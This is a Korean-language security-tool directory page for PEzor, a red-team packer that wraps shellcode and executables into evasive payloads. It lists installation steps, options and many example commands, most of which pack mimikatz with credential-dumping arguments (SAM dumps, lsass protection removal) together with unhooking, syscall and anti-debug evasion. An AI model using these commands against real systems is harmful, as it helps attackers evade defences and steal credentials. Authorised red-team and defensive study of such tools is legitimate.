Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PEzor — 셸코드와 PE 실행 파일을 안티 디버그, 언후킹, 시스템 콜, 메모리 변동 기법을 사용한 회피형 페이로드로 패킹하여 레드팀 작업에 사용합니다. | Kitploit
도구/GitHubGitHub/phra/pezor
Penetration Testing FrameworksExploit FrameworksPayload GenerationIDS/IPS EvasionShellcodeRed Teaming
GitHubphra/pezor

PEzor

셸코드와 PE 실행 파일을 안티 디버그, 언후킹, 시스템 콜, 메모리 변동 기법을 사용한 회피형 페이로드로 패킹하여 레드팀 작업에 사용합니다.

저장소 보기
2.1k3272년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

PEzor

블로그 게시물은 여기서 읽으세요:

  • https://iwantmore.pizza/posts/PEzor.html
  • https://iwantmore.pizza/posts/PEzor2.html
  • https://iwantmore.pizza/posts/PEzor3.html
  • https://iwantmore.pizza/posts/PEzor4.html
root@kitploit:~
 ________________
< PEzor!! v3.3.0 >
 ----------------
      \                    / \  //\
       \    |\___/|      /   \//  \\
            /0  0  \__  /    //  | \ \
           /     /  \/_/    //   |  \  \
           @_^_@'/   \/_   //    |   \   \
           //_^_/     \/_ //     |    \    \
        ( //) |        \///      |     \     \
      ( / /) _|_ /   )  //       |      \     _\
    ( // /) '/,_ _ _/  ( ; -.    |    _ _\.-~        .-~~~^-.
  (( / / )) ,-{        _      `-.|.-~-.           .~         `.
 (( // / ))  '/\      /                 ~-. _ .-~      .-~^-.  \
 (( /// ))      `.   {            }                   /      \  \
  (( / ))     .----~-.\        \-'                 .~         \  `. \^-.
             ///.----..>        \             _ -~             `.  ^-`  ^-_
               ///-._ _ _ _ _ _ _}^ - - - - ~                     ~-- ,.-~
                                                                  /.-~
---------------------------------------------------------------------------
  • 설치
  • 사용법

설치

install.sh는 Kali Linux 배포판에서 작동하도록 설계되었습니다.

root@kitploit:~
$ git clone https://github.com/phra/PEzor.git
$ cd PEzor
$ sudo bash install.sh
$ bash PEzor.sh -h

v2.x.x에서 업그레이드 중

PATH 변수는 Donut의 특정 커밋을 사용하도록 업데이트해야 합니다! 업데이트된 install.sh 스크립트를 확인하세요.

사용법

  • PEzor -h
  • PEzor <EXECUTABLE> [donut args...]
  • PEzor <SHELLCODE>

PEzor help

PEzor의 도움말 표시

root@kitploit:~
USAGE
  $ PEzor help

PEzor <EXECUTABLE>

제공된 실행 파일을 새 실행 파일로 패킹합니다

root@kitploit:~
OPTIONS
  -h                        사용법을 표시하고 종료합니다
  -32                       32비트 실행 파일 강제
  -64                       64비트 실행 파일 강제
  -debug                    디버그 빌드 생성
  -unhook                   사용자 영역 후크 제거
  -antidebug                안티-디버그 검사 추가
  -syscalls                 Raw 시스템 콜 사용 [64비트 전용] [Windows 10 전용]
  -sgn                      생성된 셸코드를 sgn으로 인코딩
  -text                     셸코드를 .data 대신 .text 섹션에 저장
  -rx                       셸코드에 RX 메모리 할당
  -self                     동일한 스레드에서 셸코드 실행
  -sdk=VERSION              지정된 .NET Framework 버전 사용 (2, 4, 4.5 (기본값))
  -cleanup                  할당된 페이로드와 로드된 모듈 정리 수행 (BOF 전용)
  -sleep=N                  셸코드를 언패킹하기 전에 N초 동안 대기
  -format=FORMAT            지정된 FORMAT으로 결과 출력 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
  -fluctuate=PROTECTION     Sleep()을 후킹하여 메모리 영역을 PROTECTION (RW 또는 NA)으로 변동
  -xorkey=KEY               간단한 멀티바이트 XOR로 페이로드 암호화, 실행 시 GetComputerNameExA(ComputerNameDnsFullyQualified)를 사용하여 키 검색
  [donut args...]           패킹할 실행 파일 뒤에 추가 Donut 인수 전달 가능 (예: -z 2)

EXAMPLES
  # 64-bit (self-inject RWX)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (self-inject RX)
  $ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (raw syscalls)
  $ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2
  # 64-bit (fluctuate to READWRITE when sleeping)
  $ PEzor.sh -fluctuate=RW -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (fluctuate to NOACCESS when sleeping)
  $ PEzor.sh -fluctuate=NA -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (use environmental keying with GetComputerNameExA)
  $ PEzor.sh -xorkey=MY-FQDN-COMPUTER-NAME -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"coffee" "sleep 5000" "coffee" "exit"'
  # 64-bit (support EXEs with resources by keeping PE headers in memory)
  $ PEzor.sh -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -k 2 -p '"!+" "!processprotect" "/process:lsass.exe" "/remove" "!-" "exit"'
  # 64-bit (beacon object file)
  $ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (beacon object file w/ cleanup)
  $ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dll)
  $ PEzor.sh -format=dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
  # 64-bit (dll sideload)
  $ PEzor.sh -format=dll -dll-sideload=version.dll mimikatz/x64/mimikatz.exe -z 2 -p '\"log c:\users\public\mimi.out\" \"token::whoami\" \"exit\"'
  # 64-bit (reflective dll)
  $ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (service exe)
  $ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (service dll)
  $ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet)
  $ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet-pinvoke)
  $ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 64-bit (dotnet-createsection)
  $ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"'
  # 32-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread) and arguments for donut
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"

PEzor <SHELLCODE>

제공된 셸코드를 실행 파일로 패킹합니다

root@kitploit:~
USAGE
  $ PEzor <-32|-64> [options...] <SHELLCODE>

OPTIONS
  -h                        사용법을 표시하고 종료합니다
  -32                       32비트 실행 파일 강제
  -64                       64비트 실행 파일 강제
  -debug                    디버그 빌드 생성
  -unhook                   사용자 영역 후크 제거
  -antidebug                안티-디버그 검사 추가
  -shellcode                셸코드 감지 강제
  -syscalls                 Raw 시스템 콜 사용 [64비트 전용] [Windows 10 전용]
  -sgn                      제공된 셸코드를 sgn으로 인코딩
  -text                     셸코드를 .data 대신 .text 섹션에 저장
  -rx                       셸코드에 RX 메모리 할당
  -self                     동일한 스레드에서 셸코드 실행 [RX 셸코드 필요, -sgn과 호환되지 않음]
  -cleanup                  할당된 페이로드와 로드된 모듈 정리 수행 (BOF 전용)
  -sleep=N                  셸코드를 언패킹하기 전에 N초 동안 대기
  -format=FORMAT            지정된 FORMAT으로 결과 출력 (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke)
  -fluctuate=PROTECTION     Sleep()을 후킹하여 메모리 영역을 PROTECTION (RW 또는 NA)으로 변동
  -xorkey=KEY               간단한 멀티바이트 XOR로 페이로드 암호화, 실행 시 GetComputerNameExA(ComputerNameDnsFullyQualified)를 사용하여 키 검색

EXAMPLES
  # 64-bit (self-inject RWX)
  $ PEzor.sh shellcode.bin
  # 64-bit (self-inject RX)
  $ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 shellcode.bin
  # 64-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
  # 64-bit (raw syscalls)
  $ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 shellcode.bin
  # 64-bit (fluctuate to READWRITE when sleeping)
  $ PEzor.sh -fluctuate=RW shellcode.bin
  # 64-bit (fluctuate to NOACCESS when sleeping)
  $ PEzor.sh -fluctuate=NA shellcode.bin
  # 64-bit (use environmental keying with GetComputerNameExA)
  $ PEzor.sh -xorkey=MY-FQDN-MACHINE-NAME shellcode.bin
  # 64-bit (beacon object file)
  $ PEzor.sh -format=bof shellcode.bin
  # 64-bit (beacon object file w/ cleanup)
  $ PEzor.sh -format=bof -cleanup shellcode.bin
  # 64-bit (dll)
  $ PEzor.sh -format=dll shellcode.bin
  # 64-bit (dll sideload)
  $ PEzor.sh -format=dll -dll-sideload=version.dll shellcode.bin
  # 64-bit (reflective dll)
  $ PEzor.sh -format=reflective-dll shellcode.bin
  # 64-bit (service exe)
  $ PEzor.sh -format=service-exe shellcode.bin
  # 64-bit (service dll)
  $ PEzor.sh -format=service-dll shellcode.bin
  # 64-bit (dotnet)
  $ PEzor.sh -format=dotnet shellcode.bin
  # 64-bit (dotnet-pinvoke)
  $ PEzor.sh -format=dotnet-pinvoke shellcode.bin
  # 64-bit (dotnet-createsection)
  $ PEzor.sh -format=dotnet-createsection shellcode.bin
  # 32-bit (self-inject)
  $ PEzor.sh -unhook -antidebug -text -self -sleep=120 shellcode.bin
  # 32-bit (Win32 API: VirtualAlloc/WriteProcessMemory/CreateRemoteThread)
  $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 shellcode.bin

코드 보기: PEzor.sh

도구 다운로드